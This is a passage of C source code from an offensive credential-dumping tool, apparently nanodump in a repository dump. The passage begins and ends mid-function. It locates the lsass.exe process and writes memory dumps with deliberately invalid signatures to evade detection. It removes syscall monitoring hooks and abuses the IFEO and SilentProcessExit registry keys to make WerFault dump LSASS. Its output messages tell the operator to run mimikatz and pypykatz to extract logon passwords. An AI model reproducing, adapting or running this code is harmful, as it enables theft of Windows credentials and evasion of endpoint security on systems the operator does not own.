(!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtGetNextProcess\", status);\n            goto end;\n        }\n\n        /*\n         * get the full path of the process binary\n         */\n\n        success = get_process_image(\n            hProcess,\n            &image,\n            &image_size);\n        if (!success)\n            continue;\n\n        if (image->Length == 0)\n        {\n            DATA_FREE(image, image_size);\n            continue;\n        }\n\n        /*\n         * get the  process name\n         */\n        current_process = &wcsrchr(image->Buffer, '\\\\')[1];\n\n        /*\n         * we always return the first match, ignore the rest if any\n         */\n        if (!_wcsicmp(current_process, wprocess_name))\n        {\n            DATA_FREE(image, image_size);\n            /*\n             * get the PID of the process\n             */\n            *pPid = get_pid(hProcess);\n            break;\n        }\n\n        DATA_FREE(image, image_size);\n    }\n\n    if (*pPid)\n        success = TRUE;\n\nend:\n    if (hProcess)\n        NtClose(hProcess);\n    if (image)\n    {\n        DATA_FREE(image, image_size);\n    }\n\n    return success;\n}\n\nBOOL is_full_path(\n    IN LPCSTR filename)\n{\n    char c;\n\n    if (filename[0] == filename[1] && filename[1] == '\\\\')\n        return TRUE;\n\n    c = filename[0] | 0x20;\n    if (c < 97 || c > 122)\n        return FALSE;\n\n    c = filename[1];\n    if (c != ':')\n        return FALSE;\n\n    c = filename[2];\n    if (c != '\\\\')\n        return FALSE;\n\n    return TRUE;\n}\n\nVOID get_full_path(\n    OUT PUNICODE_STRING full_dump_path,\n    IN LPCSTR filename)\n{\n    wchar_t wcFileName[MAX_PATH];\n\n    // add \\??\\ at the start\n    wcsncpy(full_dump_path->Buffer, L\"\\\\??\\\\\", MAX_PATH);\n    // if it is just a relative path, add the current directory\n    if (!is_full_path(filename))\n        wcsncat(full_dump_path->Buffer, get_cwd(), MAX_PATH);\n    // convert the path to wide string\n    mbstowcs(wcFileName, filename, MAX_PATH);\n    // add the file path\n    wcsncat(full_dump_path->Buffer, wcFileName, MAX_PATH);\n    // set the length fields\n    full_dump_path->Length = (USHORT)wcsnlen(full_dump_path->Buffer, MAX_PATH);\n    full_dump_path->Length *= 2;\n    full_dump_path->MaximumLength = full_dump_path->Length + 2;\n}\n\nLPCWSTR get_cwd(VOID)\n{\n    PVOID pPeb;\n    PPROCESS_PARAMETERS pProcParams;\n\n    pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);\n    pProcParams = *RVA(PPROCESS_PARAMETERS*, pPeb, PROCESS_PARAMETERS_OFFSET);\n    return pProcParams->CurrentDirectory.DosPath.Buffer;\n}\n\nBOOL write_file(\n    IN PUNICODE_STRING full_dump_path,\n    IN PBYTE fileData,\n    IN ULONG32 fileLength)\n{\n    HANDLE hFile = NULL;\n    OBJECT_ATTRIBUTES objAttr = { 0 };\n    IO_STATUS_BLOCK IoStatusBlock;\n    LARGE_INTEGER largeInteger = { 0 };\n    largeInteger.QuadPart = fileLength;\n\n    // init the object attributes\n    InitializeObjectAttributes(\n        &objAttr,\n        full_dump_path,\n        OBJ_CASE_INSENSITIVE,\n        NULL,\n        NULL);\n    // create the file\n    NTSTATUS status = NtCreateFile(\n        &hFile,\n        FILE_GENERIC_WRITE,\n        &objAttr,\n        &IoStatusBlock,\n        &largeInteger,\n        FILE_ATTRIBUTE_NORMAL,\n        0,\n        FILE_OVERWRITE_IF,\n        FILE_SYNCHRONOUS_IO_NONALERT,\n        NULL,\n        0);\n    if (status == STATUS_OBJECT_PATH_NOT_FOUND ||\n        status == STATUS_OBJECT_NAME_INVALID)\n    {\n        PRINT_ERR(\"The path '%ls' is invalid.\", &full_dump_path->Buffer[4]);\n        return FALSE;\n    }\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateFile\", status);\n        PRINT_ERR(\"Could not write the dump %ls\", &full_dump_path->Buffer[4]);\n        return FALSE;\n    }\n    // write the dump\n    status = NtWriteFile(\n        hFile,\n        NULL,\n        NULL,\n        NULL,\n        &IoStatusBlock,\n        fileData,\n        fileLength,\n        NULL,\n        NULL);\n    NtClose(hFile); hFile = NULL;\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtWriteFile\", status);\n        PRINT_ERR(\"Could not write the dump %ls\", &full_dump_path->Buffer[4]);\n        return FALSE;\n    }\n    DPRINT(\"0x%x bytes have been written to %ls\", fileLength, &full_dump_path->Buffer[4]);\n    return TRUE;\n}\n\nBOOL create_file(\n    IN PUNICODE_STRING full_dump_path)\n{\n    HANDLE hFile = NULL;\n    OBJECT_ATTRIBUTES objAttr = { 0 };\n    IO_STATUS_BLOCK IoStatusBlock;\n\n    // init the object attributes\n    InitializeObjectAttributes(\n        &objAttr,\n        full_dump_path,\n        OBJ_CASE_INSENSITIVE,\n        NULL,\n        NULL);\n\n    NTSTATUS status = NtCreateFile(\n        &hFile,\n        FILE_GENERIC_READ,\n        &objAttr,\n        &IoStatusBlock,\n        NULL,\n        FILE_ATTRIBUTE_NORMAL,\n        0,\n        FILE_OPEN_IF,\n        FILE_SYNCHRONOUS_IO_NONALERT,\n        NULL,\n        0);\n    if (status == STATUS_OBJECT_PATH_NOT_FOUND ||\n        status == STATUS_OBJECT_NAME_INVALID ||\n        status == STATUS_OBJECT_PATH_SYNTAX_BAD)\n    {\n        PRINT_ERR(\n            \"The path '%ls' is invalid.\",\n            &full_dump_path->Buffer[4]);\n        return FALSE;\n    }\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateFile\", status);\n        DPRINT_ERR(\"Could not create file at %ls\", &full_dump_path->Buffer[4]);\n        return FALSE;\n    }\n    NtClose(hFile); hFile = NULL;\n    DPRINT(\"File created: %ls\", &full_dump_path->Buffer[4]);\n    return TRUE;\n}\n\nBOOL delete_file(\n    IN LPCSTR filepath)\n{\n    OBJECT_ATTRIBUTES objAttr = { 0 };\n    wchar_t wcFilePath[MAX_PATH] = { 0 };\n    UNICODE_STRING UnicodeFilePath = { 0 };\n    UnicodeFilePath.Buffer = wcFilePath;\n\n    if (!filepath)\n        return TRUE;\n\n    get_full_path(&UnicodeFilePath, filepath);\n\n    // init the object attributes\n    InitializeObjectAttributes(\n        &objAttr,\n        &UnicodeFilePath,\n        OBJ_CASE_INSENSITIVE,\n        NULL,\n        NULL);\n\n    NTSTATUS status = NtDeleteFile(&objAttr);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtDeleteFile\", status);\n        DPRINT_ERR(\"Could not delete file: %s\", filepath);\n        return FALSE;\n    }\n    DPRINT(\"Deleted file: %s\", filepath);\n    return TRUE;\n}\n\nBOOL file_exists(\n    IN LPCSTR filepath)\n{\n    HANDLE hFile = NULL;\n    OBJECT_ATTRIBUTES objAttr = { 0 };\n    IO_STATUS_BLOCK IoStatusBlock;\n    LARGE_INTEGER largeInteger = { 0 };\n    largeInteger.QuadPart = 0;\n    wchar_t wcFilePath[MAX_PATH] = { 0 };\n    UNICODE_STRING UnicodeFilePath = { 0 };\n    UnicodeFilePath.Buffer = wcFilePath;\n\n    if (!filepath)\n        return FALSE;\n\n    get_full_path(&UnicodeFilePath, filepath);\n\n    // init the object attributes\n    InitializeObjectAttributes(\n        &objAttr,\n        &UnicodeFilePath,\n        OBJ_CASE_INSENSITIVE,\n        NULL,\n        NULL);\n    // call NtCreateFile with FILE_OPEN\n    NTSTATUS status = NtCreateFile(\n        &hFile,\n        FILE_GENERIC_READ,\n        &objAttr,\n        &IoStatusBlock,\n        &largeInteger,\n        FILE_ATTRIBUTE_NORMAL,\n        0,\n        FILE_OPEN,\n        FILE_SYNCHRONOUS_IO_NONALERT,\n        NULL,\n        0);\n    if (status == STATUS_SHARING_VIOLATION)\n    {\n        DPRINT_ERR(\"The file is being used by another process\");\n        return FALSE;\n    }\n    if (status == STATUS_OBJECT_NAME_NOT_FOUND)\n        return FALSE;\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateFile\", status);\n        DPRINT_ERR(\"Could check if the file %s exists\", filepath);\n        return FALSE;\n    }\n    NtClose(hFile); hFile = NULL;\n    return TRUE;\n}\n\nBOOL create_folder(\n    IN LPCSTR folderpath)\n{\n    HANDLE hFolder = NULL;\n    OBJECT_ATTRIBUTES objAttr = { 0 };\n    IO_STATUS_BLOCK IoStatusBlock;\n    LARGE_INTEGER largeInteger = { 0 };\n    largeInteger.QuadPart = 0;\n    wchar_t wcFilePath[MAX_PATH] = { 0 };\n    UNICODE_STRING UnicodeFolderPath = { 0 };\n    UnicodeFolderPath.Buffer = wcFilePath;\n    get_full_path(&UnicodeFolderPath, folderpath);\n\n    // init the object attributes\n    InitializeObjectAttributes(\n        &objAttr,\n        &UnicodeFolderPath,\n        OBJ_CASE_INSENSITIVE,\n        NULL,\n        NULL);\n    // call NtCreateFile with FILE_OPEN and FILE_DIRECTORY_FILE\n    NTSTATUS status = NtCreateFile(\n        &hFolder,\n        FILE_GENERIC_READ,\n        &objAttr,\n        &IoStatusBlock,\n        &largeInteger,\n        FILE_ATTRIBUTE_NORMAL,\n        0,\n        FILE_CREATE,//FILE_OPEN,\n        FILE_DIRECTORY_FILE,\n        NULL,\n        0);\n    if (status == STATUS_OBJECT_NAME_COLLISION)\n        return TRUE;\n    if (status == STATUS_OBJECT_NAME_NOT_FOUND)\n        return FALSE;\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateFile\", status);\n        DPRINT_ERR(\"Could check if the folder %s exists\", folderpath);\n        return FALSE;\n    }\n\n    NtClose(hFolder); hFolder = NULL;\n    return TRUE;\n}\n\nBOOL remove_syscall_callback_hook(VOID)\n{\n    // you can remove this function by providing the compiler flag: -DNOSYSHOOK\n#ifndef NOSYSHOOK\n    PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION process_information = { 0 };\n#ifdef _WIN64\n    process_information.Version = 0;\n#else\n    process_information.Version = 1;\n#endif\n    process_information.Reserved = 0;\n    process_information.Callback = NULL; // remove the callback function, if any\n\n    NTSTATUS status = NtSetInformationProcess_(\n        NtCurrentProcess(),\n        ProcessInstrumentationCallback,\n        &process_information,\n        sizeof(PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION));\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetInformationProcess\", status);\n        DPRINT_ERR(\"Failed to remove the syscall callback hook\");\n        return FALSE;\n    }\n    else\n    {\n        DPRINT(\"The syscall callback hook was set to NULL\");\n    }\n#endif\n    return TRUE;\n}\n\nVOID free_linked_list(\n    IN PVOID head,\n    IN ULONG node_size)\n{\n    if (!head)\n        return;\n\n    Plinked_list node = (Plinked_list)head;\n    ULONG32 number_of_nodes = 0;\n    while (node)\n    {\n        number_of_nodes++;\n        node = node->next;\n    }\n\n    for (int i = number_of_nodes - 1; i >= 0; i--)\n    {\n        node = (Plinked_list)head;\n\n        int jumps = i;\n        while (jumps--)\n            node = node->next;\n\n        DATA_FREE(node, node_size);\n    }\n}\n\nPVOID allocate_memory(\n    OUT PSIZE_T region_size)\n{\n    PVOID base_address = NULL;\n    NTSTATUS status = NtAllocateVirtualMemory(\n        NtCurrentProcess(),\n        &base_address,\n        0,\n        region_size,\n        MEM_COMMIT,\n        PAGE_READWRITE);\n    if (!NT_SUCCESS(status))\n    {\n\n        DPRINT_ERR(\n            \"Could not allocate enough memory to write the dump\");\n        return NULL;\n    }\n    DPRINT(\n        \"Allocated 0x%llx bytes at 0x%p to write the dump\",\n        (ULONG64)*region_size, base_address);\n    return base_address;\n}\n\n// for example, encrypt the dump with an XOR key\nVOID encrypt_dump(\n    IN PVOID base_address,\n    IN SIZE_T region_size)\n{\n    UNUSED(base_address);\n    UNUSED(region_size);\n    //BYTE key = 0x2e;\n    //PBYTE addr = NULL;\n\n    //if (!base_address)\n    //    return;\n\n    //for (SIZE_T i = 0; i < region_size; i++)\n    //{\n    //    addr = RVA(PBYTE, base_address, i);\n    //    *addr ^= key;\n    //}\n}\n\nVOID erase_dump_from_memory(\n    IN PVOID base_address,\n    IN SIZE_T region_size)\n{\n    if (!base_address || !region_size)\n        return;\n\n    // delete all trace of the dump from memory\n    memset(base_address, 0, region_size);\n    // free the memory area where the dump was\n    region_size = 0;\n    NTSTATUS status = NtFreeVirtualMemory(\n        NtCurrentProcess(),\n        &base_address,\n        &region_size,\n        MEM_RELEASE);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtFreeVirtualMemory\", status);\n        DPRINT_ERR(\"Could not erased the dump from memory\");\n    }\n    else\n    {\n        DPRINT(\"Erased the dump from memory\");\n    }\n}\n\nVOID generate_invalid_sig(\n    OUT PULONG32 Signature,\n    OUT PUSHORT Version,\n    OUT PUSHORT ImplementationVersion)\n{\n    time_t t;\n    srand((unsigned) time(&t));\n\n    *Signature             = MINIDUMP_SIGNATURE;\n    *Version               = MINIDUMP_VERSION;\n    *ImplementationVersion = MINIDUMP_IMPL_VERSION;\n\n    while (*Signature             == MINIDUMP_SIGNATURE ||\n           *Version               == MINIDUMP_VERSION ||\n           *ImplementationVersion == MINIDUMP_IMPL_VERSION)\n    {\n        *Signature  = 0;\n        *Signature |= (rand() & 0x7FFF) << 0x11;\n        *Signature |= (rand() & 0x7FFF) << 0x02;\n        *Signature |= (rand() & 0x0003) << 0x00;\n\n        *Version  = 0;\n        *Version |= (rand() & 0xFF) << 0x08;\n        *Version |= (rand() & 0xFF) << 0x00;\n\n        *ImplementationVersion  = 0;\n        *ImplementationVersion |= (rand() & 0xFF) << 0x08;\n        *ImplementationVersion |= (rand() & 0xFF) << 0x00;\n    }\n}\n\n#if defined(NANO) && defined(BOF)\n\nBOOL download_file( IN DWORD chunk_size, IN LPCSTR fileName, IN char fileData[], IN ULONG32 fileLength)\n{\n    AxDownloadMemory((char*)fileName, (char*)fileData, (int)fileLength);\n    DPRINT(\"The dump was downloaded filessly\");\n    return TRUE;\n}\n\n#endif\n\n#if (defined(NANO) || defined(PPL_DUMP) || defined(PPL_MEDIC) || defined(SSP))\n\nBOOL wait_for_process(\n    IN HANDLE hProcess)\n{\n    NTSTATUS status = NtWaitForSingleObject(\n        hProcess,\n        TRUE,\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtWaitForSingleObject\", status);\n        DPRINT_ERR(\"Could not wait for process\");\n        return FALSE;\n    }\n    return TRUE;\n}\n\nVOID print_success(\n    IN LPCSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL write_dump_to_disk)\n{\n    if (!use_valid_sig)\n    {\n        PRINT(\n            \"The minidump has an invalid signature, restore it running:\\nscripts/restore_signature %s\",\n            strrchr(dump_path, '\\\\')? &strrchr(dump_path, '\\\\')[1] : dump_path);\n    }\n    if (write_dump_to_disk)\n    {\n#ifdef BOF\n        PRINT(\n            \"Done, to download the dump run:\\ndownload %s\\nto get the secretz run:\\npython3 -m pypykatz lsa minidump %s\\nmimikatz.exe \\\"sekurlsa::minidump %s\\\" \\\"sekurlsa::logonPasswords full\\\" exit\",\n            dump_path,\n            strrchr(dump_path, '\\\\')? &strrchr(dump_path, '\\\\')[1] : dump_path,\n            strrchr(dump_path, '\\\\')? &strrchr(dump_path, '\\\\')[1] : dump_path);\n#else\n        PRINT(\n            \"Done, to get the secretz run:\\npython3 -m pypykatz lsa minidump %s\\nmimikatz.exe \\\"sekurlsa::minidump %s\\\" \\\"sekurlsa::logonPasswords full\\\" exit\",\n            strrchr(dump_path, '\\\\')? &strrchr(dump_path, '\\\\')[1] : dump_path,\n            strrchr(dump_path, '\\\\')? &strrchr(dump_path, '\\\\')[1] : dump_path);\n#endif\n    }\n    else\n    {\n        PRINT(\n            \"Done, to get the secretz run:\\npython3 -m pypykatz lsa minidump %s\\nmimikatz.exe \\\"sekurlsa::minidump %s\\\" \\\"sekurlsa::logonPasswords full\\\" exit\",\n            dump_path,\n            dump_path);\n    }\n}\n\n#endif\n\nBOOL get_process_image(\n    IN HANDLE hProcess,\n    OUT PUNICODE_STRING* process_image,\n    OUT PULONG buffer_size)\n{\n    NTSTATUS status;\n    ULONG BufferLength = 0x200;\n    ULONG PrevBufferLength = BufferLength;\n    PVOID buffer;\n    do\n    {\n        PrevBufferLength = BufferLength;\n        buffer = intAlloc(BufferLength);\n        if (!buffer)\n        {\n            malloc_failed();\n            DPRINT_ERR(\"Could not get the image of process\");\n            return FALSE;\n        }\n        status = NtQueryInformationProcess(\n            hProcess,\n            ProcessImageFileName,\n            buffer,\n            BufferLength,\n            &BufferLength);\n        if (NT_SUCCESS(status))\n        {\n            *process_image = buffer;\n            *buffer_size = BufferLength;\n            return TRUE;\n        }\n\n        DATA_FREE(buffer, PrevBufferLength);\n    } while (status == STATUS_INFO_LENGTH_MISMATCH);\n\n    syscall_failed(\"NtQueryInformationProcess\", status);\n    DPRINT_ERR(\"Could not get the image of process\");\n    return FALSE;\n}\n\nDWORD get_pid(\n    IN HANDLE hProcess)\n{\n    PROCESS_BASIC_INFORMATION basic_info;\n    basic_info.UniqueProcessId = 0;\n    PROCESSINFOCLASS ProcessInformationClass = 0;\n    NTSTATUS status = NtQueryInformationProcess(\n        hProcess,\n        ProcessInformationClass,\n        &basic_info,\n        sizeof(PROCESS_BASIC_INFORMATION),\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryInformationProcess\", status);\n        return 0;\n    }\n\n    return (DWORD)basic_info.UniqueProcessId;\n}\n\nDWORD get_tid(\n    IN HANDLE hThread)\n{\n    THREAD_BASIC_INFORMATION basic_info = { 0 };\n    THREADINFOCLASS ProcessInformationClass = 0;\n\n    NTSTATUS status = _NtQueryInformationThread(\n        hThread,\n        ProcessInformationClass,\n        &basic_info,\n        sizeof(THREAD_BASIC_INFORMATION),\n        NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryInformationThread\", status);\n        return 0;\n    }\n\n    return (DWORD)(ULONG_PTR)basic_info.ClientId.UniqueThread;\n}\n\n#if defined(NANO) && !defined(SSP)\n\nBOOL is_lsass(\n    IN HANDLE hProcess)\n{\n    PUNICODE_STRING image = NULL;\n    ULONG image_size = 0;\n    BOOL success = FALSE;\n\n    success = get_process_image(\n        hProcess,\n        &image,\n        &image_size);\n    if (!success)\n        return FALSE;\n\n    if (image->Length == 0)\n    {\n        DATA_FREE(image, image_size);\n        return FALSE;\n    }\n\n    if (wcsstr(image->Buffer, L\"\\\\lsass.exe\"))\n    {\n        DATA_FREE(image, image_size);\n        return TRUE;\n    }\n\n    DATA_FREE(image, image_size);\n    return FALSE;\n}\n\n/*\n * kill a process by PID\n * used to kill processes created by MalSecLogon\n */\nBOOL kill_process(\n    IN DWORD pid,\n    IN HANDLE hProcess)\n{\n    if (!pid && !hProcess)\n        return TRUE;\n\n    if (pid)\n    {\n        // open a handle with PROCESS_TERMINATE\n        hProcess = get_process_handle(\n            pid,\n            PROCESS_TERMINATE,\n            FALSE,\n            0);\n        if (!hProcess)\n        {\n            DPRINT_ERR(\"Failed to kill process with PID: %ld\", pid);\n            return FALSE;\n        }\n    }\n\n    NTSTATUS status = NtTerminateProcess(\n        hProcess,\n        ERROR_SUCCESS);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtTerminateProcess\", status);\n        if (pid)\n        {\n            DPRINT_ERR(\"Failed to kill process with PID: %ld\", pid);\n        }\n        else\n        {\n            DPRINT_ERR(\"Failed to kill process with handle: 0x%lx\", (DWORD)(ULONG_PTR)hProcess);\n        }\n        return FALSE;\n    }\n    if (pid)\n    {\n        DPRINT(\"Killed process with PID: %ld\", pid);\n    }\n    else\n    {\n        DPRINT(\"Killed process with handle: 0x%lx\", (DWORD)(ULONG_PTR)hProcess);\n    }\n\n    return TRUE;\n}\n\nDWORD get_lsass_pid(VOID)\n{\n    DWORD lsass_pid;\n    HANDLE hProcess = find_lsass(PROCESS_QUERY_LIMITED_INFORMATION, 0);\n    if (!hProcess)\n        return 0;\n    lsass_pid = get_pid(hProcess);\n    NtClose(hProcess); hProcess = NULL;\n    if (!lsass_pid)\n    {\n        DPRINT_ERR(\"Could not get the PID of \" LSASS);\n    }\n    else\n    {\n        DPRINT(\"Found the PID of \" LSASS \": %ld\", lsass_pid);\n    }\n    return lsass_pid;\n}\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/werfault.c",
    "content": "#include \"werfault.h\"\n\n// remove the registry keys created previously\nBOOL cleanup_registry_keys(\n    IN HANDLE SPEregKeyHandleSub,\n    IN HANDLE IFEOregKeyHandle)\n{\n    BOOL success = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n\n    if (SPEregKeyHandleSub)\n    {\n        status = NtDeleteKey(SPEregKeyHandleSub);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtDeleteKey\", status);\n            goto end;\n        }\n    }\n\n    if (IFEOregKeyHandle)\n    {\n        status = NtDeleteKey(IFEOregKeyHandle);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtDeleteKey\", status);\n            goto end;\n        }\n    }\n\n    success = TRUE;\n\nend:\n\n    return success;\n}\n\nBOOL set_registry_keys(\n    OUT PHANDLE pSPEregKeyHandleSub,\n    OUT PHANDLE pIFEOregKeyHandle,\n    IN LPCSTR dump_folder)\n{\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    BOOL success = FALSE;\n    UNICODE_STRING IFEORegistryKeyName = { 0 };\n    HANDLE SPEregKeyHandle = NULL;\n    UNICODE_STRING SPERegistryKeyName = { 0 };\n    LPWSTR proc = L\"lsass.exe\";\n    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };\n    OBJECT_ATTRIBUTES ObjectAttributesSPE = { 0 };\n    OBJECT_ATTRIBUTES ObjectAttributesSPESub = { 0 };\n    RtlInitUnicodeString_t RtlInitUnicodeString = NULL;\n    RtlAppendUnicodeToString_t RtlAppendUnicodeToString = NULL;\n    UNICODE_STRING ReportingModeUnicodeStr = { 0 };\n    UNICODE_STRING LocalDumpFolderUnicodeStr = { 0 };\n    UNICODE_STRING DumpTypeUnicodeStr = { 0 };\n    UNICODE_STRING GlobalFlagUnicodeStr = { 0 };\n    WCHAR LocalDumpFolder[MAX_PATH] = { 0 };\n    DWORD globalFlagData = 0;\n    DWORD ReportingMode = 0;\n    DWORD DumpType = 0;\n\n    mbstowcs(LocalDumpFolder, dump_folder, MAX_PATH);\n\n    RtlInitUnicodeString = (RtlInitUnicodeString_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        RtlInitUnicodeString_SW2_HASH,\n        0);\n    if (!RtlInitUnicodeString)\n    {\n        api_not_found(\"RtlInitUnicodeString\");\n        return FALSE;\n    }\n\n    RtlAppendUnicodeToString = (RtlAppendUnicodeToString_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        RtlAppendUnicodeToString_SW2_HASH,\n        0);\n    if (!RtlAppendUnicodeToString)\n    {\n        api_not_found(\"RtlAppendUnicodeToString\");\n        return FALSE;\n    }\n\n    // set up registry key name\n    IFEORegistryKeyName.Length = 0;\n    IFEORegistryKeyName.MaximumLength = 0;\n    IFEORegistryKeyName.MaximumLength += (USHORT)wcslen(IFEO_REG_KEY) * sizeof(WCHAR);\n    IFEORegistryKeyName.MaximumLength += (USHORT)wcslen(proc) * sizeof(WCHAR);\n    IFEORegistryKeyName.MaximumLength +=  2;\n    IFEORegistryKeyName.Buffer = intAlloc(IFEORegistryKeyName.MaximumLength);\n    if (!IFEORegistryKeyName.Buffer)\n    {\n        malloc_failed();\n        success = FALSE;\n        goto end;\n    }\n\n    RtlAppendUnicodeToString(&IFEORegistryKeyName, IFEO_REG_KEY);\n    RtlAppendUnicodeToString(&IFEORegistryKeyName, proc);\n\n    // Creating the registry key\n    InitializeObjectAttributes(&ObjectAttributes, &IFEORegistryKeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    status = NtCreateKey(\n        pIFEOregKeyHandle,\n        KEY_ALL_ACCESS,\n        &ObjectAttributes,\n        0,\n        NULL,\n        REG_OPTION_VOLATILE,\n        0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateKey\", status);\n        success = FALSE;\n        goto end;\n    }\n\n    DPRINT(\"Registry key has been created : %ls\", IFEORegistryKeyName.Buffer);\n\n    // https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/gflags-flag-table\n    globalFlagData = FLG_MONITOR_SILENT_PROCESS_EXIT;\n    RtlInitUnicodeString(&GlobalFlagUnicodeStr, L\"GlobalFlag\");\n\n    status = NtSetValueKey(\n        *pIFEOregKeyHandle,\n        &GlobalFlagUnicodeStr,\n        0,\n        REG_DWORD,\n        &globalFlagData,\n        sizeof(globalFlagData));\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetValueKey\", status);\n        success = FALSE;\n        goto end;\n    }\n\n    DPRINT(\"Registry key value has been created : %ls\", GlobalFlagUnicodeStr.Buffer);\n\n    // set up registry key name SPE\n    SPERegistryKeyName.Length = 0;\n    SPERegistryKeyName.MaximumLength = 0;\n    SPERegistryKeyName.MaximumLength += (USHORT)wcslen(SILENT_PROCESS_EXIT_REG_KEY) * sizeof(WCHAR);\n    SPERegistryKeyName.MaximumLength += (USHORT)wcslen(proc) * sizeof(WCHAR);\n    SPERegistryKeyName.MaximumLength += 2;\n    SPERegistryKeyName.Buffer = intAlloc(SPERegistryKeyName.MaximumLength);\n    if (!SPERegistryKeyName.Buffer)\n    {\n        malloc_failed();\n        success = FALSE;\n        goto end;\n    }\n\n    RtlAppendUnicodeToString(&SPERegistryKeyName, SILENT_PROCESS_EXIT_REG_KEY);\n\n    // Creating the registry key\n    InitializeObjectAttributes(&ObjectAttributesSPE, &SPERegistryKeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    status = NtCreateKey(\n        &SPEregKeyHandle,\n        KEY_ALL_ACCESS,\n        &ObjectAttributesSPE,\n        0,\n        NULL,\n        REG_OPTION_VOLATILE,\n        0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateKey\", status);\n        success = FALSE;\n        goto end;\n    }\n\n    DPRINT(\"Registry key has been created : %ls\", SPERegistryKeyName.Buffer);\n\n    RtlAppendUnicodeToString(&SPERegistryKeyName, proc);\n\n    // Creating the registry key\n    InitializeObjectAttributes(&ObjectAttributesSPESub, &SPERegistryKeyName, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    status = NtCreateKey(\n        pSPEregKeyHandleSub,\n        KEY_ALL_ACCESS,\n        &ObjectAttributesSPESub,\n        0,\n        NULL,\n        REG_OPTION_VOLATILE,\n        0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateKey\", status);\n        success = FALSE;\n        goto end;\n    }\n\n    DPRINT(\"Registry key has been created : %ls\", SPERegistryKeyName.Buffer);\n\n    ReportingMode = MiniDumpWithFullMemory;\n    DumpType = LOCAL_DUMP;\n\n    // Set SilentProcessExit registry values for the target process\n\n    RtlInitUnicodeString(&ReportingModeUnicodeStr, L\"ReportingMode\");\n    status = NtSetValueKey(\n        *pSPEregKeyHandleSub,\n        &ReportingModeUnicodeStr,\n        0,\n        REG_DWORD,\n        &ReportingMode,\n        sizeof(DWORD));\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetValueKey\", status);\n        success = FALSE;\n        goto end;\n    }\n\n    RtlInitUnicodeString(&LocalDumpFolderUnicodeStr, L\"LocalDumpFolder\");\n    status = NtSetValueKey(\n        *pSPEregKeyHandleSub,\n        &LocalDumpFolderUnicodeStr,\n        0,\n        REG_SZ,\n        LocalDumpFolder,\n        (ULONG)wcslen(LocalDumpFolder) * sizeof(WCHAR) + 2);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetValueKey\", status);\n        success = FALSE;\n        goto end;\n    }\n\n    DPRINT(\"Sub key LocalDumpFolder has been created\");\n\n    RtlInitUnicodeString(&DumpTypeUnicodeStr, L\"DumpType\");\n    status = NtSetValueKey(\n        *pSPEregKeyHandleSub,\n        &DumpTypeUnicodeStr,\n        0,\n        REG_DWORD,\n        &DumpType,\n        sizeof(DWORD));\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetValueKey\", status);\n        success = FALSE;\n        goto end;\n    }\n\n    DPRINT(\"Sub key DumpType has been created\");\n\n    success = TRUE;\n\nend:\n    if (SPEregKeyHandle)\n        NtClose(SPEregKeyHandle);\n    if (IFEORegistryKeyName.Buffer)\n    {\n        DATA_FREE(IFEORegistryKeyName.Buffer, IFEORegistryKeyName.MaximumLength);\n    }\n    if (SPERegistryKeyName.Buffer)\n    {\n        DATA_FREE(SPERegistryKeyName.Buffer, SPERegistryKeyName.MaximumLength);\n    }\n\n    return success;\n}\n\nNTSTATUS SignalStartWerSvc(VOID)\n{\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    ULONG64 WNF_WER_SERVICE_START = 0x41940b3aa3bc0875;\n    ULONG32 buffer = 1;\n\n    status = NtQueryWnfStateNameInformation(\n        &WNF_WER_SERVICE_START,\n        1,\n        0,\n        &buffer,\n        4);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryWnfStateNameInformation\", status);\n        goto end;\n    }\n\n    status = NtUpdateWnfStateData(\n        &WNF_WER_SERVICE_START,\n        NULL,\n        0,\n        0,\n        NULL,\n        0,\n        0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtUpdateWnfStateData\", status);\n        goto end;\n    }\n\nend:\n    return status;    \n}\n\nNTSTATUS WaitForWerSvc(\n    IN ULONG32 wait_time)\n{\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    HANDLE hEvent = NULL;\n    OBJECT_ATTRIBUTES ObjectAttributes;\n    UNICODE_STRING UnicodeString = { 0 };\n    LARGE_INTEGER TimeOut = { 0 